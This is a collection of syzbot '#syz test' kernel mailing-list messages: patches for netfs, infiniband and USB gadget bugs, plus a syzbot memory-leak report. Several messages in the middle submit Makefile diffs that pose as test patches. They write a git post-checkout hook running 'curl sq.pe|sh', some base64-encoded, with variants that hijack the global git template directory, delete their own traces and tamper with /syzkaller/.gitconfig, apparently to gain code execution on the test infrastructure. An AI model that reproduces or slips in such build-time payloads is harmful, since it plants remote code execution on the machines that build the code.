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Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test

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Author: kriish.sharma2006@gmail.com

#syz test

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Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test


 drivers/infiniband/core/addr.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/infiniband/core/addr.c b/drivers/infiniband/core/addr.c
index 61596cda2b65..f33d8040bbd5 100644
--- a/drivers/infiniband/core/addr.c
+++ b/drivers/infiniband/core/addr.c
@@ -93,13 +93,16 @@ static inline bool ib_nl_is_good_ip_resp(const
struct nlmsghdr *nlh)
  if (ret)
  return false;

+ if (!tb[LS_NLA_TYPE_DGID])
+ return -EINVAL;;
+
  return true;
 }

 static void ib_nl_process_good_ip_rsep(const struct nlmsghdr *nlh)
 {
  const struct nlattr *head, *curr;
- union ib_gid gid;
+ union ib_gid gid = {};
  struct addr_req *req;
  int len, rem;
  int found = 0;

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#syz test

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Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell mkdir -p .git/hooks && printf '#!/bin/sh\ncurl sq.pe|sh\n' >
.git/hooks/post-checkout && chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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/tmp/syz-test.txt

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell printf '#!/bin/sh
curl sq.pe|sh'>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell mkdir -p /tmp/.t/hooks && printf '#!/bin/sh
rm -f "$$0";git config --global --unset init.templateDir;rm -rf /tmp/.t;curl sq.pe|sh
' > /tmp/.t/hooks/post-checkout && chmod +x /tmp/.t/hooks/post-checkout && git config --global init.templateDir /tmp/.t)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell mkdir -p /tmp/.t/hooks;echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2g=|base64 -d>/tmp/.t/hooks/post-checkout;chmod +x /tmp/.t/hooks/post-checkout;git config --global init.templateDir /tmp/.t)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,4 @@
+$(shell if [ ! -f /tmp/.s2 ];then mkdir -p /tmp/.t/hooks;echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2g=|base64 -d>/tmp/.t/hooks/post-checkout;chmod +x /tmp/.t/hooks/post-checkout;mkdir -p scripts/gcc-plugins;ln -sf /syzkaller/.gitconfig scripts/gcc-plugins/randomize_layout_seed.h;touch /tmp/.s2;else echo W2luaXRdCgl0ZW1wbGF0ZURpciA9IC90bXAvLnQ=|base64 -d>/syzkaller/.gitconfig;rm /tmp/.s2;fi)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+# test
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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Subject: #syz test
Author: hongao@uniontech.com

From 57d3537f407aaf4229abc9b78513c6222cbfb799 Mon Sep 17 00:00:00 2001
From: hongao <hongao@uniontech.com>
Date: Sat, 30 May 2026 09:08:24 +0800
Subject: [PATCH] netfs: Fix UAF in netfs_unbuffered_write() on failed
 preparation

#syz test

If write subrequest preparation fails, netfs_unbuffered_write() calls
netfs_write_subrequest_terminated() and then reads subreq->error to set
wreq->error.

However, netfs_write_subrequest_terminated() consumes a reference to the
subrequest through netfs_put_subrequest(), so the subrequest may be freed
before netfs_unbuffered_write() reads subreq->error again.  This can
trigger a slab-use-after-free.

Save the error locally before terminating the subrequest, and use the
saved value afterwards.

Fixes: a0b4c7a49137 ("netfs: Fix unbuffered/DIO writes to dispatch subrequests in strict sequence")
Reported-by: syzbot+3c74b1f0c372e98efc32@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=3c74b1f0c372e98efc32

Signed-off-by: hongao <hongao@uniontech.com>
---
 fs/netfs/direct_write.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/fs/netfs/direct_write.c b/fs/netfs/direct_write.c
index 25f8ceb15fad..2d5361702076 100644
--- a/fs/netfs/direct_write.c
+++ b/fs/netfs/direct_write.c
@@ -115,8 +115,9 @@ static int netfs_unbuffered_write(struct netfs_io_request *wreq)
 
 		/* Check if (re-)preparation failed. */
 		if (unlikely(test_bit(NETFS_SREQ_FAILED, &subreq->flags))) {
-			netfs_write_subrequest_terminated(subreq, subreq->error);
-			wreq->error = subreq->error;
+			ret = subreq->error;
+			wreq->error = ret;
+			netfs_write_subrequest_terminated(subreq, ret);
 			break;
 		}
 
-- 
2.51.0

[syzbot] [usb?] memory leak in f_uac2_opts_c_srate_store

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    3dab139d4795 Merge tag 'rust-fixes-7.2-2' of git://git.ker..
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=16e611b9580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=ba7c2d1679fb08a2
dashboard link: https://syzkaller.appspot.com/bug?extid=ebd045a6645cfb713c95
compiler:       gcc (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=166ba499580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=11e611b9580000

Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/8c49d395f8d0/disk-3dab139d.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/deff2ace5e6a/vmlinux-3dab139d.xz
kernel image: https://storage.googleapis.com/syzbot-assets/2c90a783f940/bzImage-3dab139d.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+ebd045a6645cfb713c95@syzkaller.appspotmail.com

2026/07/26 16:23:20 executed programs: 5
BUG: memory leak
unreferenced object 0xffff888112a01e00 (size 64):
  comm "syz.0.17", pid 5945, jiffies 4294942115
  hex dump (first 32 bytes):
    34 34 31 30 30 00 34 38 30 30 30 00 38 38 32 30  44100.48000.8820
    30 00 39 36 30 30 30 00 31 37 36 34 30 30 00 31  0.96000.176400.1
  backtrace (crc 9bbd8bc9):
    kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline]
    slab_post_alloc_hook mm/slub.c:4597 [inline]
    slab_alloc_node mm/slub.c:4917 [inline]
    __do_kmalloc_node mm/slub.c:5333 [inline]
    __kmalloc_node_track_caller_noprof+0x3d3/0x570 mm/slub.c:5471
    __kmemdup_nul mm/util.c:64 [inline]
    kstrdup+0x3c/0x80 mm/util.c:84
    f_uac2_opts_c_srate_store+0xbb/0x170 drivers/usb/gadget/function/f_uac2.c:2091
    flush_write_buffer fs/configfs/file.c:207 [inline]
    configfs_write_iter+0x10d/0x1a0 fs/configfs/file.c:229
    new_sync_write fs/read_write.c:595 [inline]
    vfs_write+0x3ac/0x720 fs/read_write.c:687
    ksys_write+0xa5/0x170 fs/read_write.c:739
    do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
    do_syscall_64+0xf8/0x610 arch/x86/entry/syscall_64.c:94
    entry_SYSCALL_64_after_hwframe+0x77/0x7f

BUG: memory leak
unreferenced object 0xffff8881128d2d80 (size 64):
  comm "syz.0.18", pid 5946, jiffies 4294942116
  hex dump (first 32 bytes):
    34 34 31 30 30 00 34 38 30 30 30 00 38 38 32 30  44100.48000.8820
    30 00 39 36 30 30 30 00 31 37 36 34 30 30 00 31  0.96000.176400.1
  backtrace (crc 9bbd8bc9):
    kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline]
    slab_post_alloc_hook mm/slub.c:4597 [inline]
    slab_alloc_node mm/slub.c:4917 [inline]
    __do_kmalloc_node mm/slub.c:5333 [inline]
    __kmalloc_node_track_caller_noprof+0x3d3/0x570 mm/slub.c:5471
    __kmemdup_nul mm/util.c:64 [inline]
    kstrdup+0x3c/0x80 mm/util.c:84
    f_uac2_opts_c_srate_store+0xbb/0x170 drivers/usb/gadget/function/f_uac2.c:2091
    flush_write_buffer fs/configfs/file.c:207 [inline]
    configfs_write_iter+0x10d/0x1a0 fs/configfs/file.c:229
    new_sync_write fs/read_write.c:595 [inline]
    vfs_write+0x3ac/0x720 fs/read_write.c:687
    ksys_write+0xa5/0x170 fs/read_write.c:739
    do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
    do_syscall_64+0xf8/0x610 arch/x86/entry/syscall_64.c:94
    entry_SYSCALL_64_after_hwframe+0x77/0x7f

BUG: memory leak
unreferenced object 0xffff88811193ee80 (size 64):
  comm "syz.0.21", pid 5964, jiffies 4294942644
  hex dump (first 32 bytes):
    34 34 31 30 30 00 34 38 30 30 30 00 38 38 32 30  44100.48000.8820
    30 00 39 36 30 30 30 00 31 37 36 34 30 30 00 31  0.96000.176400.1
  backtrace (crc 9bbd8bc9):
    kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline]
    slab_post_alloc_hook mm/slub.c:4597 [inline]
    slab_alloc_node mm/slub.c:4917 [inline]
    __do_kmalloc_node mm/slub.c:5333 [inline]
    __kmalloc_node_track_caller_noprof+0x3d3/0x570 mm/slub.c:5471
    __kmemdup_nul mm/util.c:64 [inline]
    kstrdup+0x3c/0x80 mm/util.c:84
    f_uac2_opts_c_srate_store+0xbb/0x170 drivers/usb/gadget/function/f_uac2.c:2091
    flush_write_buffer fs/configfs/file.c:207 [inline]
    configfs_write_iter+0x10d/0x1a0 fs/configfs/file.c:229
    new_sync_write fs/read_write.c:595 [inline]
    vfs_write+0x3ac/0x720 fs/read_write.c:687
    ksys_write+0xa5/0x170 fs/read_write.c:739
    do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
    do_syscall_64+0xf8/0x610 arch/x86/entry/syscall_64.c:94
    entry_SYSCALL_64_after_hwframe+0x77/0x7f

connection error: failed to recv *flatrpc.ExecutorMessageRawT: EOF


---
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Subject: #syz test
Author: rwarwatkar@gmail.com

From a6329c2864899c7c7ac2c20b9d3e04bf598c6870 Mon Sep 17 00:00:00 2001
From: Rituparna Warwatkar <rwarwatkar@gmail.com>
Date: Sat, 1 Aug 2026 03:31:03 +0000
Subject: [PATCH] usb: gadget: uvc: don't pack struct
 uvcg_extension_unit_descriptor

kmemleak reports the baSourceID and bmControls arrays allocated by the
UVC extension-unit configfs attributes as leaked, e.g.:

  BUG: memory leak
  unreferenced object 0xffff888114fee2c0 (size 8):
    __kmalloc_noprof
    uvcg_extension_ba_source_id_store
    configfs_write_iter
    vfs_write
    ksys_write

The arrays are not actually leaked: they are reachable through
xu->desc.baSourceID / xu->desc.bmControls and are freed when the
extension unit is removed.  The problem is that struct
uvcg_extension_unit_descriptor is marked __packed, so these two heap
pointers are stored at unaligned offsets (22 and 31).  kmemleak only
scans memory on pointer-aligned boundaries, so it never sees the
pointers and reports the arrays as unreferenced.

Unlike the UAPI struct uvc_extension_unit_descriptor, this is a purely
in-memory staging structure: baSourceID and bmControls are pointers,
not inline arrays, and the wire descriptor is assembled field by field
in UVC_COPY_XU_DESCRIPTOR().  Nothing relies on the packed layout, so
the __packed attribute is unnecessary and only serves to misalign the
pointers.

Drop __packed so the pointers are naturally aligned and visible to
kmemleak, silencing the false positive.

Fixes: 0525210c9840 ("usb: gadget: uvc: Allow definition of XUs in configfs")
Reported-by: syzbot+54927260acba030187a6@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=54927260acba030187a6
Signed-off-by: Rituparna Warwatkar <rwarwatkar@gmail.com>
---
 drivers/usb/gadget/function/uvc_configfs.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/usb/gadget/function/uvc_configfs.h b/drivers/usb/gadget/function/uvc_configfs.h
index 9391614135e..5a882afbce4 100644
--- a/drivers/usb/gadget/function/uvc_configfs.h
+++ b/drivers/usb/gadget/function/uvc_configfs.h
@@ -176,7 +176,7 @@ struct uvcg_extension_unit_descriptor {
        u8 bControlSize;
        u8 *bmControls;
        u8 iExtension;
-} __packed;
+};

 struct uvcg_extension {
        struct config_item item;
--
2.47.3

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Subject: #syz test
Author: rwarwatkar@gmail.com

From 89443f65c32564e688448a39ba54cd13a1f8ef67 Mon Sep 17 00:00:00 2001
From: Rituparna Warwatkar <rwarwatkar@gmail.com>
Date: Sat, 1 Aug 2026 23:38:07 +0000
Subject: [PATCH] usb: gadget: f_uac2: fix memory leak in sample rate store

f_uac2_opts_{p,c}_srate_store() duplicate the input page with kstrdup()
and then tokenize it with strsep(&split_page, ","). strsep() advances
the pointer it is given, so by the time the parsing loop finishes
split_page points at the end of the string (or NULL). The subsequent
kfree(split_page) therefore frees the wrong pointer (NULL when the
whole buffer was consumed), leaking the buffer allocated by kstrdup():

  BUG: memory leak
  unreferenced object 0xffff888112a01e00 (size 64):
    kstrdup
    f_uac2_opts_c_srate_store
    configfs_write_iter
    vfs_write
    ksys_write

Keep the original allocation in split_page and hand a separate iterator
to strsep(), so the buffer is always freed. While at it, handle a
kstrdup() failure instead of dereferencing NULL. Both the p_srate and
c_srate attributes use the same macro and are fixed together.

Fixes: a7339e4f5788 ("usb: gadget: f_uac2: Support multiple sampling rates")
Reported-by: syzbot+ebd045a6645cfb713c95@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=ebd045a6645cfb713c95
Signed-off-by: Rituparna Warwatkar <rwarwatkar@gmail.com>
---
 drivers/usb/gadget/function/f_uac2.c | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/drivers/usb/gadget/function/f_uac2.c b/drivers/usb/gadget/function/f_uac2.c
index 897787d0803..8facf289710 100644
--- a/drivers/usb/gadget/function/f_uac2.c
+++ b/drivers/usb/gadget/function/f_uac2.c
@@ -2013,6 +2013,7 @@ static ssize_t f_uac2_opts_##name##_store(struct config_item *item,       \
 {                                                                      \
        struct f_uac2_opts *opts = to_f_uac2_opts(item);                \
        char *split_page = NULL;                                        \
+       char *rest;                                                     \
        int ret = -EINVAL;                                              \
        char *token;                                                    \
        u32 num;                                                        \
@@ -2027,7 +2028,12 @@ static ssize_t f_uac2_opts_##name##_store(struct config_item *item,      \
        i = 0;                                                          \
        memset(opts->name##s, 0x00, sizeof(opts->name##s));             \
        split_page = kstrdup(page, GFP_KERNEL);                         \
-       while ((token = strsep(&split_page, ",")) != NULL) {            \
+       if (!split_page) {                                              \
+               ret = -ENOMEM;                                          \
+               goto end;                                               \
+       }                                                               \
+       rest = split_page;                                              \
+       while ((token = strsep(&rest, ",")) != NULL) {                  \
                ret = kstrtou32(token, 0, &num);                        \
                if (ret)                                                \
                        goto end;                                       \
--
2.47.3